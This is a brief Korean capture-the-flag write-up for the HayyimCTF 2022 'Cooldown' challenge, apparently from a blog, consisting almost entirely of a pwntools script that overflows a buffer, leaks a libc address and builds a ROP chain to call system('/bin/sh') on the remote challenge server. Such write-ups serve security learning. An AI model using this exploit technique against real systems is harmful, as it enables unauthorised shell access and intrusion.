[CTF write up] HayyimCTF 2022 - Cooldown / WarmUp : Tiny Binary Exploitation
2022. 2. 14. 23:38ㆍCTF write up
이 문제에 핵심은 소켓 환경에서는 write(0,buf,size) 다음과 같이 출력 함수에 stdin을 인자로 넣어줬을때도 말짱하게 출력된다는 것이다.....
from pwn import *
#p = process(['cooldown'], env={'LD_PRELOAD':'./libc.so.6'})
p = remote("141.164.48.191", 10005)
e = ELF('cooldown')
libc = ELF('libc.so.6')
payload = b'a'*0x38
payload += p64(0x00000000004004A0)
raw_input()
p.send(payload)
lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
system_addr = lic - 0x3a2b7a
libc_base = system_addr - 0x4f550
pop_rdi = libc_base + 0x00000000000215bf
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*0x38
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_addr)
p.send(payload)
p.interactive()